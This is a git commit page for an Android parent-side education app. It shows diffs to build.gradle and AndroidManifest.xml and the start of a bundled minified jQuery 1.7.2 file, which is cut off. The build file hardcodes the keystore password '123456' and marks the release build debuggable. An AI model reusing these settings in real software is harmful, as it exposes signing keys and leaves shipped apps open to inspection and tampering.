Commit d3e82c2efdecf67ceffa02a34d48bb9f7b7e8104

Authored by zhanghaochen
1 parent e91fb2bcfd
Exists in master

家长端小新错题

Showing 172 changed files with 7888 additions and 52 deletions   Show diff stats
1 apply plugin: 'com.android.application' 1 apply plugin: 'com.android.application'
2 apply from: '../config.gradle' 2 apply from: '../config.gradle'
3 3
4 4
5 def androidId = rootProject.ext.androidId 5 def androidId = rootProject.ext.androidId
6 def support = rootProject.ext.dependencies 6 def support = rootProject.ext.dependencies
7 def url = rootProject.ext.url 7 def url = rootProject.ext.url
8 8
9 9
10 android { 10 android {
11 signingConfigs { 11 signingConfigs {
12 12
13 config { 13 config {
14 keyAlias 'alias' 14 keyAlias 'alias'
15 keyPassword '123456' 15 keyPassword '123456'
16 storeFile file('key.jks') 16 storeFile file('key.jks')
17 storePassword '123456' 17 storePassword '123456'
18 } 18 }
19 debug { 19 debug {
20 } 20 }
21 } 21 }
22 compileSdk 32 22 compileSdk 32
23 23
24 defaultConfig { 24 defaultConfig {
25 applicationId "com.hjx.parent" 25 applicationId "com.hjx.parent"
26 minSdk 24 26 minSdk 24
27 targetSdk 32 27 targetSdk 32
28 versionCode 1001 28 versionCode 1001
29 versionName "1.0.0.1" 29 versionName "1.0.0.1"
30 30
31 testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" 31 testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner"
32 } 32 }
33 33
34 android.applicationVariants.all { 34 android.applicationVariants.all {
35 variant -> 35 variant ->
36 variant.outputs.all { 36 variant.outputs.all {
37 //在这里修改apk文件名 37 //在这里修改apk文件名
38 outputFileName = "parent-${variant.name}-v${variant.versionName}.apk" 38 outputFileName = "parent-${variant.name}-v${variant.versionName}.apk"
39 } 39 }
40 } 40 }
41 buildTypes { 41 buildTypes {
42 debug { 42 debug {
43 debuggable true 43 debuggable true
44 minifyEnabled false 44 minifyEnabled false
45 proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' 45 proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro'
46 signingConfig signingConfigs.config 46 signingConfig signingConfigs.config
47 } 47 }
48 release { 48 release {
49 debuggable true 49 debuggable true
50 minifyEnabled false 50 minifyEnabled false
51 proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' 51 proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro'
52 signingConfig signingConfigs.config 52 signingConfig signingConfigs.config
53 } 53 }
54 } 54 }
55 lintOptions { 55 lintOptions {
56 checkReleaseBuilds false 56 checkReleaseBuilds false
57 abortOnError false 57 abortOnError false
58 } 58 }
59 buildFeatures {
60 viewBinding true
61 }
59 compileOptions { 62 compileOptions {
60 sourceCompatibility JavaVersion.VERSION_1_8 63 sourceCompatibility JavaVersion.VERSION_1_8
61 targetCompatibility JavaVersion.VERSION_1_8 64 targetCompatibility JavaVersion.VERSION_1_8
62 } 65 }
63 } 66 }
64 67
65 dependencies { 68 dependencies {
66 support.each { k, v -> implementation v } 69 support.each { k, v -> implementation v }
67 api project(path: ':libs:common') 70 api project(path: ':libs:common')
68 implementation 'androidx.appcompat:appcompat:1.5.1' 71 implementation 'androidx.appcompat:appcompat:1.5.1'
69 implementation 'com.google.android.material:material:1.6.1' 72 implementation 'com.google.android.material:material:1.6.1'
70 implementation 'androidx.constraintlayout:constraintlayout:2.1.4' 73 implementation 'androidx.constraintlayout:constraintlayout:2.1.4'
71 implementation 'com.github.CymChad:BaseRecyclerViewAdapterHelper:2.9.50' 74 implementation 'com.github.CymChad:BaseRecyclerViewAdapterHelper:2.9.50'
75 implementation 'com.github.ForgetAll:LoadingDialog:1.1.2'
76 implementation 'com.github.DL-ZhangTeng:ImagePicker:1.5.0'
77 //使用的三方
78 implementation 'com.yalantis:ucrop:2.2.0'
79 implementation 'com.github.DL-ZhangTeng:RequestPermission:1.3.0'
80 implementation 'com.github.DL-ZhangTeng:Utils:2.2.0'
72 } 81 }
app/src/main/AndroidManifest.xml
1 <?xml version="1.0" encoding="utf-8"?> 1 <?xml version="1.0" encoding="utf-8"?>
2 <manifest xmlns:android="http://schemas.android.com/apk/res/android" 2 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
3 xmlns:tools="http://schemas.android.com/tools" 3 xmlns:tools="http://schemas.android.com/tools"
4 package="com.hjx.parent"> 4 package="com.hjx.parent">
5 5
6 6
7 <uses-permission android:name="android.permission.CHANGE_WIFI_MULTICAST_STATE" /> 7 <uses-permission android:name="android.permission.CHANGE_WIFI_MULTICAST_STATE" />
8 <uses-permission android:name="android.permission.CHANGE_NETWORK_STATE" /> <!-- 允许程序改变网络链接状态 --> 8 <uses-permission android:name="android.permission.CHANGE_NETWORK_STATE" /> <!-- 允许程序改变网络链接状态 -->
9 <uses-permission android:name="android.permission.ACCESS_WIFI_STATE" /> <!-- 允许程序访问访问WIFI网络状态信息 --> 9 <uses-permission android:name="android.permission.ACCESS_WIFI_STATE" /> <!-- 允许程序访问访问WIFI网络状态信息 -->
10 <uses-permission android:name="android.permission.CHANGE_WIFI_STATE" /> <!-- 允许程序改变WIFI链接状态 --> 10 <uses-permission android:name="android.permission.CHANGE_WIFI_STATE" /> <!-- 允许程序改变WIFI链接状态 -->
11 <!-- 6.0系统需要添加权限才能获得wifi列表 --> 11 <!-- 6.0系统需要添加权限才能获得wifi列表 -->
12 <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" /> 12 <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />
13 <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" /> 13 <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
14 <uses-permission android:name="android.permission.INTERNET" /> 14 <uses-permission android:name="android.permission.INTERNET" />
15 <uses-permission android:name="android.permission.RECORD_AUDIO" /> 15 <uses-permission android:name="android.permission.RECORD_AUDIO" />
16 <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" /> 16 <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
17 17
18 <uses-permission android:name="android.permission.DISABLE_KEYGUARD" /> 18 <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
19 <uses-permission android:name="android.permission.READ_PHONE_STATE" /> 19 <uses-permission android:name="android.permission.READ_PHONE_STATE" />
20 <uses-permission android:name="android.permission.WAKE_LOCK" /> 20 <uses-permission android:name="android.permission.WAKE_LOCK" />
21 <uses-permission android:name="android.permission.CAMERA" /> 21 <uses-permission android:name="android.permission.CAMERA" />
22 <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" /> 22 <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
23 <uses-permission android:name="android.permission.VIBRATE" /> 23 <uses-permission android:name="android.permission.VIBRATE" />
24 <uses-permission
25 android:name="android.permission.WRITE_EXTERNAL_STORAGE"
26 tools:ignore="ScopedStorage" />
24 27
25 <application 28 <application
26 android:name=".MyApplication" 29 android:name=".App"
27 android:allowBackup="true" 30 android:allowBackup="true"
28 android:icon="@mipmap/icon" 31 android:icon="@mipmap/icon"
29 android:label="@string/app_name" 32 android:label="@string/app_name"
30 android:networkSecurityConfig="@xml/network_security_config" 33 android:networkSecurityConfig="@xml/network_security_config"
31 android:supportsRtl="true" 34 android:supportsRtl="true"
32 android:theme="@style/Theme.Parent"> 35 android:theme="@style/Theme.Parent">
33 <activity 36 <activity
34 android:name=".LoginActivity" 37 android:name=".LoginActivity"
35 android:exported="true" 38 android:exported="true"
36 android:theme="@style/ThemeSplash"> 39 android:theme="@style/ThemeSplash">
37 <intent-filter> 40 <intent-filter>
38 <action android:name="android.intent.action.MAIN" /> 41 <action android:name="android.intent.action.MAIN" />
39 <category android:name="android.intent.category.LAUNCHER" /> 42 <category android:name="android.intent.category.LAUNCHER" />
40 </intent-filter> 43 </intent-filter>
41 </activity> 44 </activity>
42 <activity 45 <activity
43 android:name=".MainActivity" 46 android:name=".MainActivity"
44 android:launchMode="singleTask" 47 android:launchMode="singleTask"
45 android:theme="@style/Theme.AppCompat.NoActionBar" /> 48 android:theme="@style/Theme.AppCompat.Light.NoActionBar" />
46 <activity 49 <activity
47 android:name=".RegisterActivity" 50 android:name=".RegisterActivity"
48 android:theme="@style/ThemeSplash" /> 51 android:theme="@style/ThemeSplash" />
49 <activity 52 <activity
50 android:name=".UserActivity" 53 android:name=".UserActivity"
51 android:theme="@style/Theme.AppCompat.NoActionBar" /> 54 android:theme="@style/Theme.AppCompat.Light.NoActionBar" />
52 <activity 55 <activity
53 android:name=".YinsiActivity" 56 android:name=".YinsiActivity"
54 android:theme="@style/Theme.AppCompat.NoActionBar" /> 57 android:theme="@style/Theme.AppCompat.Light.NoActionBar" />
55 <activity 58 <activity
56 android:name=".QRActivity" 59 android:name=".QRActivity"
57 android:theme="@style/Theme.AppCompat.NoActionBar" /> 60 android:theme="@style/Theme.AppCompat.Light.NoActionBar" />
58 <activity 61 <activity
59 android:name=".AddStudentActivity" 62 android:name=".AddStudentActivity"
60 android:theme="@style/Theme.AppCompat.NoActionBar" /> 63 android:theme="@style/Theme.AppCompat.Light.NoActionBar" />
61 <activity 64 <activity
62 android:name=".NickActivity" 65 android:name=".NickActivity"
63 android:theme="@style/Theme.AppCompat.NoActionBar" /> 66 android:theme="@style/Theme.AppCompat.Light.NoActionBar" />
64 <activity 67 <activity
65 android:name=".SexActivity" 68 android:name=".SexActivity"
66 android:theme="@style/Theme.AppCompat.NoActionBar" /> 69 android:theme="@style/Theme.AppCompat.Light.NoActionBar" />
67 <activity 70 <activity
68 android:name=".NianActivity" 71 android:name=".NianActivity"
69 android:theme="@style/Theme.AppCompat.NoActionBar" /> 72 android:theme="@style/Theme.AppCompat.Light.NoActionBar" />
70 <activity 73 <activity
71 android:name=".ShenActivity" 74 android:name=".ShenActivity"
72 android:theme="@style/Theme.AppCompat.NoActionBar" /> 75 android:theme="@style/Theme.AppCompat.Light.NoActionBar" />
73 <activity 76 <activity
74 android:name=".UserAgreementActivity" 77 android:name=".UserAgreementActivity"
75 android:theme="@style/Theme.AppCompat.NoActionBar" /> 78 android:theme="@style/Theme.AppCompat.Light.NoActionBar" />
76 <activity 79 <activity
77 android:name=".AccountActivity" 80 android:name=".AccountActivity"
78 android:theme="@style/Theme.AppCompat.NoActionBar" /> 81 android:theme="@style/Theme.AppCompat.Light.NoActionBar" />
79 82
80 <activity 83 <activity
81 android:name=".ChangePwdActivity" 84 android:name=".ChangePwdActivity"
82 android:theme="@style/Theme.AppCompat.NoActionBar" /> 85 android:theme="@style/Theme.AppCompat.Light.NoActionBar" />
83 <activity 86 <activity
84 android:name=".EditStudentActivity" 87 android:name=".EditStudentActivity"
85 android:theme="@style/Theme.AppCompat.NoActionBar" /> 88 android:theme="@style/Theme.AppCompat.Light.NoActionBar" />
86 <activity 89 <activity
87 android:name=".ChooseActivity" 90 android:name=".ChooseActivity"
88 android:theme="@style/Theme.AppCompat.NoActionBar" /> 91 android:theme="@style/Theme.AppCompat.Light.NoActionBar" />
89 <activity 92 <activity
90 android:name=".AddTeacherActivity" 93 android:name=".AddTeacherActivity"
91 android:theme="@style/Theme.AppCompat.NoActionBar" /> 94 android:theme="@style/Theme.AppCompat.Light.NoActionBar" />
95 <activity
96 android:name=".ErrorBookActivity"
97 android:theme="@style/Theme.AppCompat.Light.NoActionBar" />
98 <activity
99 android:name=".ImageActivity"
100 android:theme="@style/Theme.AppCompat.Light.NoActionBar" />
101 <activity
102 android:name=".ImageEditActivity"
103 android:theme="@style/Theme.AppCompat.Light.NoActionBar" />
104 <activity
105 android:name=".ImageSelectActivity"
106 android:theme="@style/Theme.AppCompat.Light.NoActionBar" />
107 <activity
108 android:name=".AddSuccessActivity"
109 android:theme="@style/Theme.AppCompat.Light.NoActionBar" />
110 <activity
111 android:name=".ErrorListActivity"
112 android:theme="@style/Theme.AppCompat.Light.NoActionBar" />
113 <activity
114 android:name=".ErrorDetailActivity"
115 android:theme="@style/Theme.AppCompat.Light.NoActionBar" />
92 116
93 <provider 117 <provider
94 android:name="androidx.core.content.FileProvider" 118 android:name="androidx.core.content.FileProvider"
95 android:authorities="com.hjx.parent.fileprovider" 119 android:authorities="com.hjx.parent.fileprovider"
96 android:exported="false" 120 android:exported="false"
97 android:grantUriPermissions="true"> 121 android:grantUriPermissions="true"
122 tools:replace="android:authorities">
98 <meta-data 123 <meta-data
99 android:name="android.support.FILE_PROVIDER_PATHS" 124 android:name="android.support.FILE_PROVIDER_PATHS"
100 android:resource="@xml/file_provider_paths" 125 android:resource="@xml/file_provider_paths"
101 tools:replace="android:resource" /> 126 tools:replace="android:resource" />
102 </provider> 127 </provider>
103 </application> 128 </application>
104 129
105 </manifest> 130 </manifest>
app/src/main/assets/jquery.min.js
File was created 1 /*! jQuery v1.7.2 jquery.com | jquery.org/license */
2 (function(a,b){function cy(a){return f.isWindow(a)?a:a.nodeType===9?a.defaultView||a.parentWindow:!1}function cu(a){if(!cj[a]){var b=c.body,d=f("<"+a+">").appendTo(b),e=d.css("display");d.remove();if(e==="none"||e===""){ck||(ck=c.createElement("iframe"),ck.frameBorder=ck.width=ck.height=0),b.appendChild(ck);if(!cl||!ck.createElement)cl=(ck.contentWindow||ck.contentDocument).document,cl.write((f.support.boxModel?"<!doctype html>":"")+"<html><body>"),cl.close();d=cl.createElement(a),cl.body.appendChild(d),e=f.css(d,"display"),b.removeChild(ck)}cj[a]=e}return cj[a]}function ct(a,b){var c={};f.each(cp.concat.apply([],cp.slice(0,b)),function(){c[this]=a});return c}function cs(){cq=b}function cr(){setTimeout(cs,0);return cq=f.now()}function ci(){try{return new a.ActiveXObject("Microsoft.XMLHTTP")}catch(b){}}function ch(){try{return new a.XMLHttpRequest}catch(b){}}function cb(a,c){a.dataFilter&&(c=a.dataFilter(c,a.dataType));var d=a.dataTypes,e={},g,h,i=d.length,j,k=d[0],l,m,n,o,p;for(g=1;g<i;g++){if(g===1)for(h in a.converters)typeof h=="string"&&(e[h.toLowerCase()]=a.converters[h]);l=k,k=d[g];if(k==="*")k=l;else if(l!=="*"&&l!==k){m=l+" "+k,n=e[m]||e["* "+k];if(!n){p=b;for(o in e){j=o.split(" ");if(j[0]===l||j[0]==="*"){p=e[j[1]+" "+k];if(p){o=e[o],o===!0?n=p:p===!0&&(n=o);break}}}}!n&&!p&&f.error("No conversion from "+m.replace(" "," to ")),n!==!0&&(c=n?n(c):p(o(c)))}}return c}function ca(a,c,d){var e=a.contents,f=a.dataTypes,g=a.responseFields,h,i,j,k;for(i in g)i in d&&(c[g[i]]=d[i]);while(f[0]==="*")f.shift(),h===b&&(h=a.mimeType||c.getResponseHeader("content-type"));if(h)for(i in e)if(e[i]&&e[i].test(h)){f.unshift(i);break}if(f[0]in d)j=f[0];else{for(i in d){if(!f[0]||a.converters[i+" "+f[0]]){j=i;break}k||(k=i)}j=j||k}if(j){j!==f[0]&&f.unshift(j);return d[j]}}function b_(a,b,c,d){if(f.isArray(b))f.each(b,function(b,e){c||bD.test(a)?d(a,e):b_(a+"["+(typeof e=="object"?b:"")+"]",e,c,d)});else if(!c&&f.type(b)==="object")for(var e in b)b_(a+"["+e+"]",b[e],c,d);else d(a,b)}function b$(a,c){var d,e,g=f.ajaxSettings.flatOptions||{};for(d in c)c[d]!==b&&((g[d]?a:e||(e={}))[d]=c[d]);e&&f.extend(!0,a,e)}function bZ(a,c,d,e,f,g){f=f||c.dataTypes[0],g=g||{},g[f]=!0;var h=a[f],i=0,j=h?h.length:0,k=a===bS,l;for(;i<j&&(k||!l);i++)l=h[i](c,d,e),typeof l=="string"&&(!k||g[l]?l=b:(c.dataTypes.unshift(l),l=bZ(a,c,d,e,l,g)));(k||!l)&&!g["*"]&&(l=bZ(a,c,d,e,"*",g));return l}function bY(a){return function(b,c){typeof b!="string"&&(c=b,b="*");if(f.isFunction(c)){var d=b.toLowerCase().split(bO),e=0,g=d.length,h,i,j;for(;e<g;e++)h=d[e],j=/^\+/.test(h),j&&(h=h.substr(1)||"*"),i=a[h]=a[h]||[],i[j?"unshift":"push"](c)}}}function bB(a,b,c){var d=b==="width"?a.offsetWidth:a.offsetHeight,e=b==="width"?1:0,g=4;if(d>0){if(c!=="border")for(;e<g;e+=2)c||(d-=parseFloat(f.css(a,"padding"+bx[e]))||0),c==="margin"?d+=parseFloat(f.css(a,c+bx[e]))||0:d-=parseFloat(f.css(a,"border"+bx[e]+"Width"))||0;return d+"px"}d=by(a,b);if(d<0||d==null)d=a.style[b];if(bt.test(d))return d;d=parseFloat(d)||0;if(c)for(;e<g;e+=2)d+=parseFloat(f.css(a,"padding"+bx[e]))||0,c!=="padding"&&(d+=parseFloat(f.css(a,"border"+bx[e]+"Width"))||0),c==="margin"&&(d+=parseFloat(f.css(a,c+bx[e]))||0);return d+"px"}function bo(a){var b=c.createElement("div");bh.appendChild(b),b.innerHTML=a.outerHTML;return b.firstChild}function bn(a){var b=(a.nodeName||"").toLowerCase();b==="input"?bm(a):b!=="script"&&typeof a.getElementsByTagName!="undefined"&&f.grep(a.getElementsByTagName("input"),bm)}function bm(a){if(a.type==="checkbox"||a.type==="radio")a.defaultChecked=a.checked}function bl(a){return typeof a.getElementsByTagName!="undefined"?a.getElementsByTagName("*"):typeof a.querySelectorAll!="undefined"?a.querySelectorAll("*"):[]}function bk(a,b){var c;b.nodeType===1&&(b.clearAttributes&&b.clearAttributes(),b.mergeAttributes&&b.mergeAttributes(a),c=b.nodeName.toLowerCase(),c==="object"?b.outerHTML=a.outerHTML:c!=="input"||a.type!=="checkbox"&&a.type!=="radio"?c==="option"?b.selected=a.defaultSelected:c==="input"||c==="textarea"?b.defaultValue=a.defaultValue:c==="script"&&b.text!==a.text&&(b.text=a.text):(a.checked&&(b.defaultChecked=b.checked=a.checked),b.value!==a.value&&(b.value=a.value)),b.removeAttribute(f.expando),b.removeAttribute("_submit_attached"),b.removeAttribute("_change_attached"))}function bj(a,b){if(b.nodeType===1&&!!f.hasData(a)){var c,d,e,g=f._data(a),h=f._data(b,g),i=g.events;if(i){delete h.handle,h.events={};for(c in i)for(d=0,e=i[c].length;d<e;d++)f.event.add(b,c,i[c][d])}h.data&&(h.data=f.extend({},h.data))}}function bi(a,b){return f.nodeName(a,"table")?a.getElementsByTagName("tbody")[0]||a.appendChild(a.ownerDocument.createElement("tbody")):a}function U(a){var b=V.split("|"),c=a.createDocumentFragment();if(c.createElement)while(b.length)c.createElement(b.pop());return c}function T(a,b,c){b=b||0;if(f.isFunction(b))return f.grep(a,function(a,d){var e=!!b.call(a,d,a);return e===c});if(b.nodeType)return f.grep(a,function(a,d){return a===b===c});if(typeof b=="string"){var d=f.grep(a,function(a){return a.nodeType===1});if(O.test(b))return f.filter(b,d,!c);b=f.filter(b,d)}return f.grep(a,function(a,d){return f.inArray(a,b)>=0===c})}function S(a){return!a||!a.parentNode||a.parentNode.nodeType===11}function K(){return!0}function J(){return!1}function n(a,b,c){var d=b+"defer",e=b+"queue",g=b+"mark",h=f._data(a,d);h&&(c==="queue"||!f._data(a,e))&&(c==="mark"||!f._data(a,g))&&setTimeout(function(){!f._data(a,e)&&!f._data(a,g)&&(f.removeData(a,d,!0),h.fire())},0)}function m(a){for(var b in a){if(b==="data"&&f.isEmptyObject(a[b]))continue;if(b!=="toJSON")return!1}return!0}function l(a,c,d){if(d===b&&a.nodeType===1){var e="data-"+c.replace(k,"-$1").toLowerCase();d=a.getAttribute(e);if(typeof d=="string"){try{d=d==="true"?!0:d==="false"?!1:d==="null"?null:f.isNumeric(d)?+d:j.test(d)?f.parseJSON(d):d}catch(g){}f.data(a,c,d)}else d=b}return d}function h(a){var b=g[a]={},c,d;a=a.split(/\s+/);for(c=0,d=a.length;c<d;c++)b[a[c]]=!0;return b}var c=a.document,d=a.navigator,e=a.location,f=function(){function J(){if(!e.isReady){try{c.documentElement.doScroll("left")}catch(a){setTimeout(J,1);return}e.ready()}}var e=function(a,b){return new e.fn.init(a,b,h)},f=a.jQuery,g=a.$,h,i=/^(?:[^#<]*(<[\w\W]+>)[^>]*$|#([\w\-]*)$)/,j=/\S/,k=/^\s+/,l=/\s+$/,m=/^<(\w+)\s*\/?>(?:<\/\1>)?$/,n=/^[\],:{}\s]*$/,o=/\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g,p=/"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g,q=/(?:^|:|,)(?:\s*\[)+/g,r=/(webkit)[ \/]([\w.]+)/,s=/(opera)(?:.*version)?[ \/]([\w.]+)/,t=/(msie) ([\w.]+)/,u=/(mozilla)(?:.*? rv:([\w.]+))?/,v=/-([a-z]|[0-9])/ig,w=/^-ms-/,x=function(a,b){return(b+"").toUpperCase()},y=d.userAgent,z,A,B,C=Object.prototype.toString,D=Object.prototype.hasOwnProperty,E=Array.prototype.push,F=Array.prototype.slice,G=String.prototype.trim,H=Array.prototype.indexOf,I={};e.fn=e.prototype={constructor:e,init:function(a,d,f){var g,h,j,k;if(!a)return this;if(a.nodeType){this.context=this[0]=a,this.length=1;return this}if(a==="body"&&!d&&c.body){this.context=c,this[0]=c.body,this.selector=a,this.length=1;return this}if(typeof a=="string"){a.charAt(0)!=="<"||a.charAt(a.length-1)!==">"||a.length<3?g=i.exec(a):g=[null,a,null];if(g&&(g[1]||!d)){if(g[1]){d=d instanceof e?d[0]:d,k=d?d.ownerDocument||d:c,j=m.exec(a),j?e.isPlainObject(d)?(a=[c.createElement(j[1])],e.fn.attr.call(a,d,!0)):a=[k.createElement(j[1])]:(j=e.buildFragment([g[1]],[k]),a=(j.cacheable?e.clone(j.fragment):j.fragment).childNodes);return e.merge(this,a)}h=c.getElementById(g[2]);if(h&&h.parentNode){if(h.id!==g[2])return f.find(a);this.length=1,this[0]=h}this.context=c,this.selector=a;return this}return!d||d.jquery?(d||f).find(a):this.constructor(d).find(a)}if(e.isFunction(a))return f.ready(a);a.selector!==b&&(this.selector=a.selector,this.context=a.context);return e.makeArray(a,this)},selector:"",jquery:"1.7.2",length:0,size:function(){return this.length},toArray:function(){return F.call(this,0)},get:function(a){return a==null?this.toArray():a<0?this[this.length+a]:this[a]},pushStack:function(a,b,c){var d=this.constructor();e.isArray(a)?E.apply(d,a):e.merge(d,a),d.prevObject=this,d.context=this.context,b==="find"?d.selector=this.selector+(this.selector?" ":"")+c:b&&(d.selector=this.selector+"."+b+"("+c+")");return d},each:function(a,b){return e.each(this,a,b)},ready:function(a){e.bindReady(),A.add(a);return this},eq:function(a){a=+a;return a===-1?this.slice(a):this.slice(a,a+1)},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},slice:function(){return this.pushStack(F.apply(this,arguments),"slice",F.call(arguments).join(","))},map:function(a){return this.pushStack(e.map(this,function(b,c){return a.call(b,c,b)}))},end:function(){return this.prevObject||this.constructor(null)},push:E,sort:[].sort,splice:[].splice},e.fn.init.prototype=e.fn,e.extend=e.fn.extend=function(){var a,c,d,f,g,h,i=arguments[0]||{},j=1,k=arguments.length,l=!1;typeof i=="boolean"&&(l=i,i=arguments[1]||{},j=2),typeof i!="object"&&!e.isFunction(i)&&(i={}),k===j&&(i=this,--j);for(;j<k;j++)if((a=arguments[j])!=null)for(c in a){d=i[c],f=a[c];if(i===f)continue;l&&f&&(e.isPlainObject(f)||(g=e.isArray(f)))?(g?(g=!1,h=d&&e.isArray(d)?d:[]):h=d&&e.isPlainObject(d)?d:{},i[c]=e.extend(l,h,f)):f!==b&&(i[c]=f)}return i},e.extend({noConflict:function(b){a.$===e&&(a.$=g),b&&a.jQuery===e&&(a.jQuery=f);return e},isReady:!1,readyWait:1,holdReady:function(a){a?e.readyWait++:e.ready(!0)},ready:function(a){if(a===!0&&!--e.readyWait||a!==!0&&!e.isReady){if(!c.body)return setTimeout(e.ready,1);e.isReady=!0;if(a!==!0&&--e.readyWait>0)return;A.fireWith(c,[e]),e.fn.trigger&&e(c).trigger("ready").off("ready")}},bindReady:function(){if(!A){A=e.Callbacks("once memory");if(c.readyState==="complete")return setTimeout(e.ready,1);if(c.addEventListener)c.addEventListener("DOMContentLoaded",B,!1),a.addEventListener("load",e.ready,!1);else if(c.attachEvent){c.attachEvent("onreadystatechange",B),a.attachEvent("onload",e.ready);var b=!1;try{b=a.frameElement==null}catch(d){}c.documentElement.doScroll&&b&&J()}}},isFunction:function(a){return e.type(a)==="function"},isArray:Array.isArray||function(a){return e.type(a)==="array"},isWindow:function(a){return a!=null&&a==a.window},isNumeric:function(a){return!isNaN(parseFloat(a))&&isFinite(a)},type:function(a){return a==null?String(a):I[C.call(a)]||"object"},isPlainObject:function(a){if(!a||e.type(a)!=="object"||a.nodeType||e.isWindow(a))return!1;try{if(a.constructor&&!D.call(a,"constructor")&&!D.call(a.constructor.prototype,"isPrototypeOf"))return!1}catch(c){return!1}var d;for(d in a);return d===b||D.call(a,d)},isEmptyObject:function(a){for(var b in a)return!1;return!0},error:function(a){throw new Error(a)},parseJSON:function(b){if(typeof b!="string"||!b)return null;b=e.trim(b);if(a.JSON&&a.JSON.parse)return a.JSON.parse(b);if(n.test(b.replace(o,"@").replace(p,"]").replace(q,"")))return(new Function("return "+b))();e.error("Invalid JSON: "+b)},parseXML:function(c){if(typeof c!="string"||!c)return null;var d,f;try{a.DOMParser?(f=new DOMParser,d=f.parseFromString(c,"text/xml")):(d=new ActiveXObject("Microsoft.XMLDOM"),d.async="false",d.loadXML(c))}catch(g){d=b}(!d||!d.documentElement||d.getElementsByTagName("parsererror").length)&&e.error("Invalid XML: "+c);return d},noop:function(){},globalEval:function(b){b&&j.test(b)&&(a.execScript||function(b){a.eval.call(a,b)})(b)},camelCase:function(a){return a.replace(w,"ms-").replace(v,x)},nodeName:function(a,b){return a.nodeName&&a.nodeName.toUpperCase()===b.toUpperCase()},each:function(a,c,d){var f,g=0,h=a.length,i=h===b||e.isFunction(a);if(d){if(i){for(f in a)if(c.apply(a[f],d)===!1)break}else for(;g<h;)if(c.apply(a[g++],d)===!1)break}else if(i){for(f in a)if(c.call(a[f],f,a[f])===!1)break}else for(;g<h;)if(c.call(a[g],g,a[g++])===!1)break;return a},trim:G?function(a){return a==null?"":G.call(a)}:function(a){return a==null?"":(a+"").replace(k,"").replace(l,"")},makeArray:function(a,b){var c=b||[];if(a!=null){var d=e.type(a);a.length==null||d==="string"||d==="function"||d==="regexp"||e.isWindow(a)?E.call(c,a):e.merge(c,a)}return c},inArray:function(a,b,c){var d;if(b){if(H)return H.call(b,a,c);d=b.length,c=c?c<0?Math.max(0,d+c):c:0;for(;c<d;c++)if(c in b&&b[c]===a)return c}return-1},merge:function(a,c){var d=a.length,e=0;if(typeof c.length=="number")for(var f=c.length;e<f;e++)a[d++]=c[e];else while(c[e]!==b)a[d++]=c[e++];a.length=d;return a},grep:function(a,b,c){var d=[],e;c=!!c;for(var f=0,g=a.length;f<g;f++)e=!!b(a[f],f),c!==e&&d.push(a[f]);return d},map:function(a,c,d){var f,g,h=[],i=0,j=a.length,k=a instanceof e||j!==b&&typeof j=="number"&&(j>0&&a[0]&&a[j-1]||j===0||e.isArray(a));if(k)for(;i<j;i++)f=c(a[i],i,d),f!=null&&(h[h.length]=f);else for(g in a)f=c(a[g],g,d),f!=null&&(h[h.length]=f);return h.concat.apply([],h)},guid:1,proxy:function(a,c){if(typeof c=="string"){var d=a[c];c=a,a=d}if(!e.isFunction(a))return b;var f=F.call(arguments,2),g=function(){return a.apply(c,f.concat(F.call(arguments)))};g.guid=a.guid=a.guid||g.guid||e.guid++;return g},access:function(a,c,d,f,g,h,i){var j,k=d==null,l=0,m=a.length;if(d&&typeof d=="object"){for(l in d)e.access(a,c,l,d[l],1,h,f);g=1}else if(f!==b){j=i===b&&e.isFunction(f),k&&(j?(j=c,c=function(a,b,c){return j.call(e(a),c)}):(c.call(a,f),c=null));if(c)for(;l<m;l++)c(a[l],d,j?f.call(a[l],l,c(a[l],d)):f,i);g=1}return g?a:k?c.call(a):m?c(a[0],d):h},now:function(){return(new Date).getTime()},uaMatch:function(a){a=a.toLowerCase();var b=r.exec(a)||s.exec(a)||t.exec(a)||a.indexOf("compatible")<0&&u.exec(a)||[];return{browser:b[1]||"",version:b[2]||"0"}},sub:function(){function a(b,c){return new a.fn.init(b,c)}e.extend(!0,a,this),a.superclass=this,a.fn=a.prototype=this(),a.fn.constructor=a,a.sub=this.sub,a.fn.init=function(d,f){f&&f instanceof e&&!(f instanceof a)&&(f=a(f));return e.fn.init.call(this,d,f,b)},a.fn.init.prototype=a.fn;var b=a(c);return a},browser:{}}),e.each("Boolean Number String Function Array Date RegExp Object".split(" "),function(a,b){I["[object "+b+"]"]=b.toLowerCase()}),z=e.uaMatch(y),z.browser&&(e.browser[z.browser]=!0,e.browser.version=z.version),e.browser.webkit&&(e.browser.safari=!0),j.test(" ")&&(k=/^[\s\xA0]+/,l=/[\s\xA0]+$/),h=e(c),c.addEventListener?B=function(){c.removeEventListener("DOMContentLoaded",B,!1),e.ready()}:c.attachEvent&&(B=function(){c.readyState==="complete"&&(c.detachEvent("onreadystatechange",B),e.ready())});return e}(),g={};f.Callbacks=function(a){a=a?g[a]||h(a):{};var c=[],d=[],e,i,j,k,l,m,n=function(b){var 